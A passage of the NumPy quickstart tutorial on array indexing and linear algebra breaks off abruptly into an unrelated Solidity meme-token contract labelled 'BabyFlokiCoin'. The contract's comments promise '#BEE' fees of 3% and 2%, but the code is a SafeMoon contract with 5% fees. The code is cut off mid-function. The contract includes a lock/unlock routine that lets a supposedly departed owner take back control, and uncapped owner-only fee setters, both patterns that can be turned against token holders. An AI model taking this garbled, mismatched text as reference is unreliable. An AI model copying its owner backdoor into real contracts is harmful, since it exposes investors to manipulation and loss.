1, 3, 3, 4]) This is reasonable enough, but watch out if you want to use Python’s += construct, as it may not do what you expect: >>> >>> a = np.arange(5) >>> a[[0,0,2]]+=1 >>> a array([1, 1, 3, 3, 4]) Even though 0 occurs twice in the list of indices, the 0th element is only incremented once. This is because Python requires “a+=1” to be equivalent to “a = a + 1”. Indexing with Boolean Arrays When we index arrays with arrays of (integer) indices we are providing the list of indices to pick. With boolean indices the approach is different; we explicitly choose which items in the array we want and which ones we don’t. The most natural way one can think of for boolean indexing is to use boolean arrays that have the same shape as the original array: >>> >>> a = np.arange(12).reshape(3,4) >>> b = a > 4 >>> b # b is a boolean with a's shape array([[False, False, False, False], [False, True, True, True], [ True, True, True, True]]) >>> a[b] # 1d array with the selected elements array([ 5, 6, 7, 8, 9, 10, 11]) This property can be very useful in assignments: >>> >>> a[b] = 0 # All elements of 'a' higher than 4 become 0 >>> a array([[0, 1, 2, 3], [4, 0, 0, 0], [0, 0, 0, 0]]) You can look at the following example to see how to use boolean indexing to generate an image of the Mandelbrot set: >>> import numpy as np import matplotlib.pyplot as plt def mandelbrot( h,w, maxit=20 ): """Returns an image of the Mandelbrot fractal of size (h,w).""" y,x = np.ogrid[ -1.4:1.4:h*1j, -2:0.8:w*1j ] c = x+y*1j z = c divtime = maxit + np.zeros(z.shape, dtype=int) for i in range(maxit): z = z**2 + c diverge = z*np.conj(z) > 2**2 # who is diverging div_now = diverge & (divtime==maxit) # who is diverging now divtime[div_now] = i # note when z[diverge] = 2 # avoid diverging too much return divtime plt.imshow(mandelbrot(400,400)) ../_images/quickstart-1.png The second way of indexing with booleans is more similar to integer indexing; for each dimension of the array we give a 1D boolean array selecting the slices we want: >>> >>> a = np.arange(12).reshape(3,4) >>> b1 = np.array([False,True,True]) # first dim selection >>> b2 = np.array([True,False,True,False]) # second dim selection >>> >>> a[b1,:] # selecting rows array([[ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> a[b1] # same thing array([[ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> a[:,b2] # selecting columns array([[ 0, 2], [ 4, 6], [ 8, 10]]) >>> >>> a[b1,b2] # a weird thing to do array([ 4, 10]) Note that the length of the 1D boolean array must coincide with the length of the dimension (or axis) you want to slice. In the previous example, b1 has length 3 (the number of rows in a), and b2 (of length 4) is suitable to index the 2nd axis (columns) of a. The ix_() function The ix_ function can be used to combine different vectors so as to obtain the result for each n-uplet. For example, if you want to compute all the a+b*c for all the triplets taken from each of the vectors a, b and c: >>> >>> a = np.array([2,3,4,5]) >>> b = np.array([8,5,4]) >>> c = np.array([5,4,6,8,3]) >>> ax,bx,cx = np.ix_(a,b,c) >>> ax array([[[2]], [[3]], [[4]], [[5]]]) >>> bx array([[[8], [5], [4]]]) >>> cx array([[[5, 4, 6, 8, 3]]]) >>> ax.shape, bx.shape, cx.shape ((4, 1, 1), (1, 3, 1), (1, 1, 5)) >>> result = ax+bx*cx >>> result array([[[42, 34, 50, 66, 26], [27, 22, 32, 42, 17], [22, 18, 26, 34, 14]], [[43, 35, 51, 67, 27], [28, 23, 33, 43, 18], [23, 19, 27, 35, 15]], [[44, 36, 52, 68, 28], [29, 24, 34, 44, 19], [24, 20, 28, 36, 16]], [[45, 37, 53, 69, 29], [30, 25, 35, 45, 20], [25, 21, 29, 37, 17]]]) >>> result[3,2,4] 17 >>> a[3]+b[2]*c[4] 17 You could also implement the reduce as follows: >>> >>> def ufunc_reduce(ufct, *vectors): ... vs = np.ix_(*vectors) ... r = ufct.identity ... for v in vs: ... r = ufct(r,v) ... return r and then use it as: >>> >>> ufunc_reduce(np.add,a,b,c) array([[[15, 14, 16, 18, 13], [12, 11, 13, 15, 10], [11, 10, 12, 14, 9]], [[16, 15, 17, 19, 14], [13, 12, 14, 16, 11], [12, 11, 13, 15, 10]], [[17, 16, 18, 20, 15], [14, 13, 15, 17, 12], [13, 12, 14, 16, 11]], [[18, 17, 19, 21, 16], [15, 14, 16, 18, 13], [14, 13, 15, 17, 12]]]) The advantage of this version of reduce compared to the normal ufunc.reduce is that it makes use of the Broadcasting Rules in order to avoid creating an argument array the size of the output times the number of vectors. Indexing with strings See Structured arrays. Linear Algebra Work in progress. Basic linear algebra to be included here. Simple Array Operations See linalg.py in numpy folder for more. >>> >>> import numpy as np >>> a = np.array([[1.0, 2.0], [3.0, 4.0]]) >>> print(a) [[1. 2.] [3. 4.]] >>> a.transpose() array([[1., 3.], [2., 4.]]) >>> np.linalg.inv(a) array([[-2. , 1. ], [ 1.5, -0.5]]) >>> u = np.eye(2) # unit 2x2 matrix; "eye" represents "I" >>> u array([[1., 0.], [0., 1.]]) >>> j = np.array([[0.0, -1.0], [1.0, 0.0]]) >>> j @ j # matrix product array([[-1., 0.], [ 0., -1.]]) >>> np.trace(u) # trace 2.0 >>> y = np.array([[5.], [7.]]) >>> np.linalg.solve(a, y) array([[-3.], [ 4.]]) >>> np.linalg.eig(j) (array([0.+1.j, 0.-1.j]), array([[0.70710678+0.j , 0.70710678-0.j ], [0. -0.70710678j, 0. +0.70710678j]])) Parameters: square matrix Returns The eigenvalues, each repeated according to its multiplicity. The normalized (unit "length") eigenvectors, such that the column ``v[:,i]`` is the eigenvector corresponding to the eigenvalue ``w[i]`` . Tricks and Tips Here we give a list of short and useful tips. “Automatic” Reshaping To change the dimensions of an array, you can omit one of the sizes which will then be deduced automatically: >>> >>> a = np.arange(30) >>> b = a.reshape((2, -1, 3)) # -1 means "whatever is needed" >>> b.shape (2, 5, 3) >>> b array([[[ 0, 1, 2], [ 3, 4, 5], [ 6, 7, 8], [ 9, 10, 11], [12, 13, 14]], [[15, 16, 17], [18, 19, 20], [21, 22, 23], [24, 25, 26], [27, 28, 29]]]) Vector Stacking How do we construct a 2D array from a list of equally-sized row vectors? In MATLAB this is quite easy: if x and y are two vectors of the same length you only need do m=[x;y]. In NumPy this works via the functions column_stack, dstack, hstack and vstack, depending on the dimension in which the stacking is to be done. For example: >>> >>> x = np.arange(0,10,2) >>> y = np.arange(5) >>> m = np.vstack([x,y]) >>> m array([[0, 2, 4, 6, 8], [0, 1, 2, 3, 4]]) >>> xy = np.hstack([x,y]) >>> xy array([0, 2, 4, 6, 8, 0, 1, 2, 3, 4]) The logic behind those functions in more than two dimensions can be strange. See also NumPy for Matlab users Histograms The NumPy histogram function applied to an array returns a pair of vectors: the histogram of the array and a vector of the bin edges. Beware: matplotlib also has a function to build histograms (called hist, as in Matlab) that differs from the one in NumPy. The main difference is that pylab.hist plots the histogram automatically, while numpy.histogram only generates the data. >>> import numpy as np rg = np.random.default_rng(1) import matplotlib.pyplot as plt # Build a vector of 10000 normal deviates with variance 0.5^2 and mean 2 mu, sigma = 2, 0.5 v = rg.normal(mu,sigma,10000) # Plot a normalized histogram with 50 bins plt.hist(v, bins=50, density=1) # matplotlib version (plot) # Compute the histogram with numpy and then plot it (n, bins) = np.histogram(v, bins=50, density=True) # NumPy version (no plot) plt.plot(.5*(bins[1:]+bins[:-1]), n) ../_images/quickstart-2.png Further reading The Python tutorial NumPy Reference SciPy Tutorial SciPy Lecture Notes A matlab, R, IDL, NumPy/SciPy dictionary © Copyright 2008-2020, The SciPy community. Last updated on Jun 29, 2020. Created using Sphinx 2.4.4.
BabyFlokiCoin / Baby Floki Coin/** *Submitted for verification at BscScan.com on 2021-03-01 */ /** *Submitted for verification at BscScan.com on 2021-03-01 */ /** #BEE #LIQ+#RFI+#SHIB+#DOGE = #BEE #SAFEMOON features: 3% fee auto add to the liquidity pool to locked forever when selling 2% fee auto distribute to all holders I created a black hole so #Bee token will deflate itself in supply with every transaction 50% Supply is burned at start. */ pragma solidity ^0.6.12; // SPDX-License-Identifier: Unlicensed interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(now > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } // pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SafeMoon is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "SafeMoon"; string private _symbol = "SAFEMOON"; uint8 private _decimals = 9; uint256 public _taxFee = 5; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 5; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 5000000 * 10**6 * 10**9; uint256 private numTokensSellToAddToLiquidity = 500000 * 10**6 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () public { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 